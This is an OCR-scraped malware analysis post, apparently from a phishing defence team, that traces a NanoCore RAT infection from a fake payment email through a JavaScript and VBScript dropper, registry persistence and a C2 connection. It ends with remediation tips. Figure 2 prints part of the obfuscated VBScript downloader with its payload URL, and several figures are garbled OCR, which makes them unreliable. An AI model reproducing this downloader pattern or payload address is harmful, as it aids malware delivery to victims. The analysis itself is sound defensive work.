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The Cofense™ Phishing Defense Center has observed several e-mails attempting to deliver a popular variant of a Remote

Access Trojan (RAT) malware that appears to have recently resurfaced: NanoCore.
Figure 1 shows an example of one of the emails we received.

Dear

[ have made payment for you today,

Below is the payment copy,

Please confirm receipt

thank you

343K View Download

Figure 1: Email delivering NanoCore RAT
How it works.

The email purports to be a payment confirmation that was sent from the accounts department of a company called Dia

Exports derived from the sender’s email address (accounts@diaexports.com).
The “View’ and ‘Download’ links in Figure 1 navigate to the same page:

hxxps://dl[.]dropboxusercontent[.]Jcom/content_link/75XIYjUXQ0GoDIX4zQHBaBdvhrAz3vHUvjG99GtZ8aXMF85hKCgdDiD1SYobF
dl=1

The website downloads a compressed RAR archive named “SWIFT- (followed by random letters and numbers)” and once

extracted contains a JavaScript file.

Executing this JavaScript file causes a temporary VBScript file to be written to the directory:

C:UsersFisherAppDataL.ocalTemp as shown in Figure 2.
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4p PEzvbs

"http://chantracomputer.com/2I1/next/sesex.
Fed( “xrhMdwd")
G40 = CreateObject(Fed("lrwlkQMwlkg
Open F@d("fds"), V3n, False
send ("")
A9q = CreateObject(Fed(" cncaMrsqd 1"))
.Open
Type =
.Write G4o0.ResponseBody
.Position = @
.SaveToFile X2b, 2
.Close
fUHLtlﬂn Fed(Q2j)
For Z 1 To Len(Q2j)
Mid(Q2j, Z9s, 1)
Chr(Asc(R3d)- 31)
Xea + R3d

X@a
End Function

Figure 2: Temporary VBS file which initiates the download of the NanoCore RAT

The VBScript file is then executed which in turn causes an executable file to be downloaded from the payload domain

chantracomputer[.]Jcom as seen in Figure 3.

@ Telerik Fiddler Web Debugger

File Edit Rules Tools View Help GET/book £ GeoEdge

) *# Replay %~ b Go | ¥ Stream 5 Decode | Keep: All sessions = @ Any Process 34 Find [l Save (BB (&) &
|= Result  Protocol Host URL Body Cading  ContenlGiuie

E1 200  HTTP chantracomputer.com (2 1fnext/sesex.exe 995,328 apphcation/x-msdownload

Figure 3: Download request that is made to the payload domain
The process YSI.exe is spawned which then creates the following directory:
C:UsersTestAppDatal.ocal Tempsubfolder

The files “firefox.exe” and “firefox.vbs” are also created under this directory. The process “YSI.exe” is terminated and the

VBScript “firefox.vbs” runs. Let’s take a closer look at this VBScript file depicted in Figure 4.

m_mm i mlulmlmmm_mlmlmm-_mlml-I-mlm.!
BT T

i _I-I-mm!__mmm!__mmmlmllm_\ UL
RN VR VRTINS0 RN VR R TEPR VPR R SV P R

R U LIHULTHULTHUL NG LD LD B L TU CTHULTHUCTHULIHG LD D i MU LTHULTHU L THU LT
N 2RV VTR VTNV VI Y VMY N VTR VTR VTN VI VR YN YW 6N

T8 7078 (07T 8787 17 10705170078 1078 AT 87 107 107819778 1078 1879 AT 87 (107
QUL INUL VLI TRUILTRUTCTRU L B0 L Bl U TR TN TR TR IRU L D0l Bal U TRb T T

R 8T 1717 107810781178 078 0 8T 87 17 107 078118 1878 08 AR 1178 178 (078 (8 8 8 R R T
UL INUL MU T W (N8 YR Bt L] il

LT T T T TR e e TR T T T TR B TR TR T T TR B B LT TR T UL RO
[RULINULINUILTNUUIRUUHROL BaUL AU [RUL MU TRULTRUUIRULIROL B B TRUL TNUIL TRUTUTRUUIRUL TG B B TR TRUL THUUTRULTRU L)

Figure 4: VBS startup script for the NanoCore RAT

As you can see from the VBScript file, the commands in the script are invoked using the wscript shell. It does two things: it
creates a “RunOnce” key in the registry so that the VBScript is executed each time the user logs on the machine (indicating

persistence) and second, the VBScript runs the executable file “firefox.exe”.

Once the process “firefox.exe” is running, we can see that a connection is now established to the command and control

server shown in Figure 5.
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M Process Hacker [PhishBowl\Fisher] T W I W W W T
Hacker View Tools Users Help

% Refresh {73 Options | @@l Find handles or DLLs 4% System information | (] [ ¢

| Processes | Services | Network | Disk |

MName Local address Local... Remote address Rem... Prot.. State Owne
O Fiddler.exe .. PhishBowl 8888 TCP  Listen

@ firefox.exe ... PhishBowllocaldo.. 49621 178-175-138-164.static.as43289.net 55720 TCP SYN senty

®7 |sass.exe (5. PhishBowl 49155 TCP Listen

87 lcacc.eve (5. PhichRawl 49155 TCPA  |icten

Figure 5: NanoCore RAT making a connection to its C2 server

The process also creates a new folder under the directory C:UsersFisherAppDataRoaming displayed in Figure 6.

|1, 218861CB-CC92-41F1-9194-DEDC6DD5CBAT 20/02/2018 20:21 File folder

Figure 6: New directory created by the NanoCore RAT

This directory contains other indicators to support the fact that a RAT is installed on the infected machine (Figure 7).

T Weem————— W W AW W
e — -

-
@Ov| ). » Fisher » AppData » Roaming » 218861CB-CC92-41F1-9194-DEDC6DDSCBA7 » ~[4s]
4

i — — p—

Organize « Include in library « Share with MNew folder

-

'»-Ii' Favorites Name Date modified Type Size
Ml Desktop . Logs 20/02/2018 20:21 File folder
& Downloads || run.dat 20/02/2018 20:21 DAT File e THB

2 Recent Places

Figure 7: Directory created by the NanoCore RAT containing binary data

Dumping the memory contents of the process “firefox.exe” reveals that this particular RAT belongs to the NanoCore family,

shown in Figure 8.
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o Y
% Results - firefox.exe (2364) B
16,085 results.
Address Length Result -
0x2aa184 10 feffefefea j
Ox2aalb2 11 feffefefe_-
0x2aa2c9 12 fefefeffeefa
Ox2ae7f4 145 |System.Resources. ResourceReade. ..
Ox2afalc 10 v2.0.50727
0x2b3bbd 16 (.49=Cli
0x2b3bd7 11 @wal
Ox2b3cil 11 -4;Ug
0x2b3d%a 20 -+ +D+E@-6
Ox2b3fas 60 £#%#8#'208:8;8<8=8>878@8A8...
0x2b400d 15 NanoCore Client
Ox2b401d 19 NanoCore Client.exe
0x2b403a 21 Microsoft. VisualBasic
0x2b4050 20 System. Windows.Forms
Ox2b406c 12 ClientPlugin
0x2b4079 14 System.Drawing
0x2b4088 12 kernel22.dll
0x2b409f 12 advapi32.di
0x2b40b6 10 dnsapi.dl
Ox2b40c1 26 ClientLoaderForm.resources
Ox2b40fe 22 ConsoleApplicationBase
0x2b4115 41 Microsoft. VisualBasic. ApplicationSer ... A
—
L i

Figure 8: Memory dump confirming the family of RATSs that we are dealing with is NanoCore
Why RAT: are popular—and steps you can take if you’re infected.

NanoCore is a type of Remote Access Trojan (RAT) first discovered back in 2013. The very first versions of the RAT were

made available on the dark web not too soon after its initial discovery.

In 2015, a paid version of NanoCore was made available on the open Internet. However, free, cracked versions were quickly

leaked, which most likely led to its widespread use and popularity among underground criminals.

NanoCore is a modular RAT which means that the threat actor can expand its functionality by installing additional modules

based on his or her own needs. This is what makes NanoCore so desirable to criminals.

If you suspect that you are infected with a RAT, consider confirming this first. This can be done by monitoring network
connections and looking for any unexpected connections on an open port. Netstat is a great utility which allows you to view

all active and listening TCP and UDP ports on a local machine.

If you have identified that your machine is indeed infected, we recommend disconnecting your machine from the Internet to
prevent the malicious actor from probing your machine and causing any further damage. Process Hacker is another tool
which can help you to identify the malware process and like Netstat, it can also show you active and listening TCP and UDP
connections as well as the processes that are connected to it. The registry is a good place to look as most malware typically
write to it for persistence on the victim’s machine. Checking the “AppData/Local/Temp” directory is another great place to

find indicators of compromise.

Sign up for free threat alerts. Get phishing and malware trends delivered to your inbox: https://cofense.com/threat-alerts/
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